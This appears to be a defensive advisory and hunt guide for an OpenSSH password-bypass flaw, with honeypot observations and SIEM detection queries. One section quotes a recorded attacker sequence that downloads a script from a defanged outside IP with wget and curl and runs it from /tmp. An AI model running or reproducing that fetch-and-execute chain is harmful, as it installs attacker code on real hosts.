Deception Check

SSH ACCESS / CVE-2026-123158

A key-only SSH account should not accept a password.

SSHOLE can make an account intended for keys accept a long password on affected systems. Check the account and the running service, then follow what happened after login.

The useful question is simple: did SSH accept a password for an account that was never supposed to have one?

SSH is a service for administering a computer remotely. Many teams use cryptographic keys instead of passwords for that access. With the flaw nicknamed SSHOLE, an affected password-checking path can mistake an error response for a valid match. An account with no usable password can then accept a deliberately long one.

CVE-2026-123158 affects OpenSSH services on the musl/no-PAM password-checking path. Musl is a Linux software library; PAM is a separate authentication framework. Alpine's advisory explains the additional account conditions and its fixed packages. Use Alpine's applicability and fixed-package table to check your service.

HOW AN ERROR BECOMES A LOGIN

The stored marker was not a password.

  1. 01 / ACCOUNTPassword field is *

    This account has no usable password. Key-based access may still be intended.

  2. 02 / CHECKOverlong input produces *

    On the affected path, musl's password-hashing function returns the same marker as an error.

  3. 03 / MISMATCHED MEANINGThe comparison accepts it

    The old checking path treats the matching strings as success rather than rejecting the error.

Mechanism schematic, based on Alpine and OpenSSH guidance. It requires the affected software path and account configuration described below.

Check the service and the account together.

A package inventory is a starting point. Confirm whether an SSH daemon is actually running and reachable, which distribution package it uses, and the effective authentication configuration. A banner or username alone cannot settle applicability.

CheckWhy it mattersWhat to record
Affected musl / no-PAM pathThe bypass is in this password-checking route.Distribution package and PAM configuration, using the vendor's applicability guidance.
Password authentication enabledThe server must accept the password method for this route to work.Effective configuration, including applicable Match blocks.
Eligible account stateAlpine describes a target password field of * and another local account with a $5$ or $6$ hash.A trusted administrator's applicability result. Keep password hashes out of the hunt data.
Login and privilege restrictionsRestrictions can change which account is reachable and what it can do.Effective root-login policy and permitted privilege escalation. Root is not automatically reachable.

Alpine documents the input range as 257 to 1,024 bytes. That is a technical boundary, not a field ordinary SSH authentication logs provide. Do not start logging production passwords to hunt this issue.

FIX THE RUNNING SERVICE

Update, then restart.

Apply the distribution's fixed or backported OpenSSH package and restart sshd. Updating files on disk does not replace the running daemon. Verify the package and running service after the change.

IF THE UPDATE MUST WAIT

Disable the password method safely.

Alpine advises PasswordAuthentication no and a daemon restart. First test key-based access and keep an administrative session open until a fresh login works. Follow the distribution's configuration instructions.

OpenSSH 10.6p2 contains the workaround. Distribution backports can fix an older upstream version, so use the package table for the branch you run. Containers that do not run sshd do not expose this SSH login path.

Start with an accepted-password event.

On a real host, look for Accepted password for events and compare the account with trusted policy at that time. Use actual account policy rather than inferring it from a username such as root or alpine.

ILLUSTRATIVE INVESTIGATION / NOT A FLEET EVENT

sshd[4120]: Accepted password for deploy from 192.0.2.44 port 51840 ssh2
  1. Match the host and account

    Use the producing host's stable identity and the full account identity. Check timestamps and collection coverage.

  2. Check policy at that time

    Was this account intended to use keys only? An old snapshot or missing record leaves the answer unknown.

  3. Follow the session

    Review privilege use, new users or keys, processes, files, and outbound connections with the host owner.

A password acceptance that conflicts with policy warrants investigation. Check authorized changes, parsing errors, and stale inventory before concluding compromise.

Walk through a separate script-download sequence.

One recorded source submitted the same five-command sequence in two sessions on two decoys: move to a temporary directory, remove a named script, try two download tools, then ask the shell to run it. The replay below uses the explicitly SSH-recorded session on November 6. The game-launcher case below involves a separate source.

RECORDED COMMAND INPUT / NOVEMBER 6, 2026 / 10:46:26 UTC

Prepare. Retrieve. Invoke.

The decoy accepted the authentication input at 10:46:18.824 UTC. About 7.2 seconds later, these five instructions arrived. The diagram follows what each instruction asked the host to do.

FIVE SUBMITTED INSTRUCTIONS · THREE PHASES

PrepareCommands 1 and 2
RetrieveCommands 3 and 4
InvokeCommand 5
RECORDED INPUT / READY
Five commands. Follow the requested actions.

Expand the transcript below to read all five recorded commands.

Read the five-command transcript

Recorded order, with each instruction explained. The diagram above is the playback view; this is the reference transcript.

  1. 01 / CHOOSE A WORKING DIRECTORYcd /tmp

    Move the shell's working directory to temporary storage.

  2. 02 / REMOVE THE NAMED FILErm wget.sh

    Request deletion of any existing file with that name before retrieval.

  3. 03 / TRY WGETwget hxxp://202.110.70[.]60:800/wget.sh

    Request a script from an IP address on TCP port 800.

  4. 04 / TRY CURLcurl -O hxxp://202.110.70[.]60:800/wget.sh

    A second download tool requests the same URL. This is another instruction, not another confirmed file.

  5. 05 / INVOKE THE SCRIPTsh wget.sh alpine

    Ask the shell to run the local script with alpine as its argument.

Ordered recorded inputs, with explanatory playback slowed for reading. The five commands arrived within about 0.1 seconds. Addresses are defanged; do not run this sequence.
NETWORK

Did bytes arrive?

Check proxy or flow evidence for the host, destination, port, and time. A command string is not a network transfer record.

FILE

Which file was saved?

Collect the file path, size, and hash through your normal incident process. A URL can serve different bytes over time.

PROCESS

What actually ran?

Review process creation, command line, ancestry, and later connections on that host.

One source. Three decoys. 68 launcher requests.

On November 7, one recorded source address submitted the same wget command in 68 separate sessions across three research decoys. Each session had an earlier accepted authentication input. The requested filename was wt_launcher_linux_1.0.3.50.tar.gz, an apparent War Thunder Linux launcher archive.

RETAINED DECOY INPUT / NOVEMBER 7, 2026 / UTC

The same request landed more than once.

1recorded source address
3distinct decoys
68sessions and requests

08:51:30 to 09:17:06 UTC · about 26 minutes

wget "https://[publisher CDN]/wt_launcher_linux_1.0.3.50.tar.gz?[query omitted]"
The hostname and opaque query value are redacted here. Bar lengths show submitted requests, not installations. Decoy names are anonymized.

The repetition matters because it changes the next question: why was the same archive requested across different machines? Follow the requested destination, account authority, files, and processes together. A familiar software name alone cannot explain an unexpected login.

A small, usable hunt table.

Use the script URL to pivot into your own network and endpoint records, then review the surrounding session. The source addresses below are dated research observations, not permanent identities or a blanket blocklist. The launcher indicators provide context; do not block a publisher's infrastructure because its URL appeared in a submitted command.

IndicatorEvidence and dateHow to use it
hxxp://202.110.70[.]60:800/wget.shSCRIPT RETRIEVAL DESTINATIONRequested with wget and curl in two decoy sessions on November 6.Search URL, destination IP, port, and command-line telemetry. Inspect related shell and process activity.
77.239.124[.]175SCRIPT-CASE SOURCERecorded source for both five-command sequences on November 6.Pivot through inbound SSH and network records for that date. Reassess ownership before acting on a current IP match.
157.254.222[.]237LAUNCHER-CASE SOURCERecorded source for 68 launcher requests on November 7.Compare login and follow-on activity. This is a case-specific lead, not attribution to a person or the game publisher.
wt_launcher_linux_1.0.3.50.tar.gzFILENAME / CONTEXT ONLYThe same filename appears in all 68 launcher commands.Look for unexpected retrievals or execution on servers. The filename alone is not malicious.
2c5a796e6f06deabeb7750f39b85b062831729f7bc60a8da2300588b1d334722HISTORICAL SHA-256 / EXTERNAL CONTEXTMalwareBazaar's September 26 record associates this 1,287-byte shell script with the same retrieval URL.An exact file match is useful for triage. We did not acquire or hash a November payload; this is not the hash of a file recovered from these decoy sessions.

Download the dated indicator table

FOR THE HOST OWNER AND RESPONDER

Take one account through the check.

The worksheet keeps exposure, policy, evidence, and the next owner together. Use it even if you have no password-length telemetry.

Download the worksheetOpen the readable version

Hunt with the logs you actually have.

The public companion starts with standard Linux SSH events and documented platform sources. The account-policy check is a separate, explicit enrichment step. No Deception Check feed, sensor, or normalization service is required.

Start with Sigma if your platform supports it, or choose the native query for the authentication source you already collect. These searches select candidate events. The policy comparison is what makes an ordinary password acceptance an investigation lead.

1. Sigma: collect real SSH password acceptances

Standard linux / sshd source, informational selector. Normal password logins match. Scope to real authentication sources and compare the account with policy before treating a result as suspicious.

title: Linux SSH Password Acceptance for Policy Review
id: c3c03945-f50f-482b-8193-8f0e5a269657
status: experimental
description: >-
  Collects ordinary sshd accepted-password candidates. This is an informational
  selector, not a stand-alone malicious-activity alert. Compare the account and
  producing host to trusted policy at the event time before investigating a
  policy conflict. Does not prove an authentication bypass or a specific CVE.
author: Deception Check
date: 2026-11-08
references:
  - https://sigmahq.io/docs/basics/log-sources.html
  - https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/
logsource:
  product: linux
  service: sshd
  definition: Real sshd authentication logs; honeypot or simulated acceptance must be excluded by source selection.
detection:
  keywords:
    - 'Accepted password for '
  condition: keywords
falsepositives:
  - Routine password logins on accounts that allow passwords
  - Authorized authentication-policy changes
  - Forwarded or quoted log examples accidentally mixed into the authentication source
level: informational
2. Native sources: Microsoft, Elastic, Splunk, and Sumo

Choose your real authentication source, host scope, and incident time window. Confirm that a known event arrives and survives parsing. Keep the original event and verified producing-host identity.

Microsoft / Sentinel: native Syslog

// Candidate collection only. Native Syslog, not a custom table or Defender schema.
// Choose the authorized workspace, host scope, and retained time range first.
let accepted_pattern = @"^(?:sshd(?:-session)?\[[0-9]+\]: )?Accepted password for ([^\s]+) from ([^\s]+) port ([0-9]+) ssh2(?:[: ].*)?$";
Syslog
| where TimeGenerated >= ago(7d)
| where ProcessName in ("sshd", "sshd-session")
| extend ssh_user = extract(accepted_pattern, 1, SyslogMessage),
         ssh_source = extract(accepted_pattern, 2, SyslogMessage),
         ssh_port = extract(accepted_pattern, 3, SyslogMessage, typeof(long))
| where isnotempty(ssh_user) and ssh_port between (1 .. 65535)
| project EventTime, TimeGenerated, _ResourceId, Computer, HostName,
          ssh_user, ssh_source, ssh_port, ProcessName, ProcessID, SyslogMessage

Elastic: System auth integration / ES|QL

// Candidate collection only. ES|QL, not Kibana KQL.
// Narrow the data stream/namespace to authorized producing hosts before running.
FROM logs-system.auth-*
| WHERE @timestamp >= NOW() - 7 days
  AND system.auth.ssh.event == "Accepted"
  AND system.auth.ssh.method == "password"
| KEEP @timestamp, host.id, host.name, user.name, source.ip,
       system.auth.ssh.event, system.auth.ssh.method
| LIMIT 10000

Splunk: selected Linux auth index and sourcetype

index=REPLACE_WITH_LINUX_AUTH_INDEX sourcetype=REPLACE_WITH_AUTH_SOURCETYPE earliest=-7d latest=now
| rex field=_raw "(?:^|[ ])sshd(?:-session)?\[[0-9]+\]: Accepted password for (?<ssh_user>[^\s]+) from (?<ssh_source>[^\s]+) port (?<ssh_port>[0-9]+) ssh2(?:[: ].*)?$"
| where isnotnull(ssh_user) AND tonumber(ssh_port) >= 1 AND tonumber(ssh_port) <= 65535
| table _time host source sourcetype ssh_user ssh_source ssh_port _raw

Sumo Logic: selected Linux auth source category

_sourceCategory=REPLACE_WITH_LINUX_AUTH_CATEGORY
| parse regex "(?:^|[ ])sshd(?:-session)?\[[0-9]+\]: Accepted password for (?<ssh_user>[^\s]+) from (?<ssh_source>[^\s]+) port (?<ssh_port>[0-9]+) ssh2(?:[: ].*)?$"
| num(ssh_port)
| where ssh_port >= 1 and ssh_port <= 65535
| fields _messageTime, _sourceHost, _sourceName, ssh_user, ssh_source, ssh_port, _raw

The quickstart covers collection, source fields, timestamps, host identity, parsing limits, and export caps. The placeholder index, source category, or host values must be replaced before use. Elastic uses ES|QL, not Kibana KQL; Microsoft uses Syslog, not Defender Advanced Hunting.

3. Compare the account with trusted policy at that time

Ask the host owner for policy history and its evidence reference. Match the producing host, case-sensitive account, and exactly one valid interval. The companion includes a local CSV worksheet comparison; those columns are analyst inputs, not invented fields claimed to exist in your SIEM.

python policy_join.py --events fixtures/events.csv --policy fixtures/policy.csv

The synthetic example returns one policy conflict, one allowed password login, and one missing-policy result. Use the mapping instructions to prepare your own verified exports. Missing or overlapping state remains unknown; no result is not a clean bill of health.

4. Separate follow-on: Falcon and Linux process telemetry

On the affected host and investigation window, the separate Falcon query selects Linux process images executing from temporary directories. It requires native Falcon ProcessRollup2 data and the host aid. It does not infer SSH origin or show scripts passed to a shell. Installers and administrative tools can also match.

// Separate endpoint triage: a process image under a temporary directory.
// Set the investigation time window in the UI and replace aid with the affected Linux host.
#event_simpleName=ProcessRollup2 event_platform=Lin
| aid="REPLACE_WITH_AFFECTED_HOST_AID"
| ImageFileName=/^\/(tmp|var\/tmp|dev\/shm)\/.+/
| select([@timestamp, aid, ImageFileName, CommandLine, ParentBaseFileName])

Download the separate Linux process Sigma rule. Review command line, ancestry, file identity, and network evidence. This is process triage, not proof that a submitted download ran.

Validation: local synthetic positive, negative, and missing-data tests cover the source-matching primitives and policy join. Native vendor query execution, Sigma backend conversion, and customer-tenant validation have not been performed. Read the exact test scope before deploying a scheduled analytic.

Ordinary authentication records cannot tell you the attempted password length. Optional auth-boundary instrumentation and richer session auditing belong in the companion's advanced guidance. Endpoint process records are evidence of processes; they do not automatically identify an SSH session or a vulnerable login.

Download the hunt companionRead setup and compatibility
Research methods and count scope

The retained projection contains 373 distinct long-input authentication records from November 5 to 7, 2026 UTC: 166 explicitly SSH and 207 SSH-labelled records without equivalent protocol confirmation. Neither is a count of confirmed production exploitations. The launcher cohort is a subset: 15 command records explicitly identify SSH and 53 use SSH-labelled session context. All 68 join to earlier accepted authentication inputs in the same scoped session.

166Explicit SSH records207SSH-labelled records

The same projection includes 184 submitted-command records, separate from 17 producer annotations. Duplicate witnesses are collapsed in the retained research. This review recomputed the projection and selected session joins; it did not independently reprocess the full original fleet corpus. The indicator table publishes selected observed source addresses and a defanged retrieval destination for hunting. Raw credentials, opaque query values, operational identifiers, and internal source captures remain private.

Observation means recorded input; a decoy's generated response is not proof of a file write, executed process, credential read, or real-host bypass. The two sources are separate cases; the records do not establish a shared operator or campaign.

Keep the useful question in view: should this account ever have accepted a password?

Sources and further reading

Source and validation notes for each hunt are included with its setup instructions. The diagrams explain the mechanism, the proposed investigation, and the retained decoy observations; their labels distinguish those uses.